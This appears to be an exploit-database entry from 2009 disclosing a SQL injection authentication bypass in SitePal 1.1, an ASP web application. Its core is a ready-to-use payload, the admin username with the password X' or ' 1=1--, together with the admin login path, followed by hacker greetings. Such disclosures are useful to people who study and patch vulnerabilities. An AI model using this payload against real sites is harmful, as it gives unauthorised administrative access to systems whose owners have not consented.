SitePal 1.1 - Authentication Bypass

Author: R3d-D3V!L
type: webapps
platform: asp
port: 
date_added: 2009-12-14 
date_updated:  
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

[~] SitePal v1.1(Auth Bypass) Remote SQL Injection Vulnerability
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.12.2009
[~] 7!M3:1-35
[~] Home: www.Xp10.ME
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:


username:admin
password: X' or ' 1=1--

[~] admin login for demo:

server/SitePalDemo/z_admin_login.asp



[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & ab0 mohammed & XP_10 h4CK3R&  JASM!N & c0prA & MY-M!ND ;)
[~]
[~] mkank.com
[~] spechial thanks :{off-s3c} & ((dolly)) & ((7am3m)) & dev!l_mody & 0R45hy & meg4 ;)
[~]
[?] 4.!.5 ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA--.....
[~]
[~]I4M:4r48!4N-3XPLO!73R

[~]
[~]--------------------------------------------------------------------------------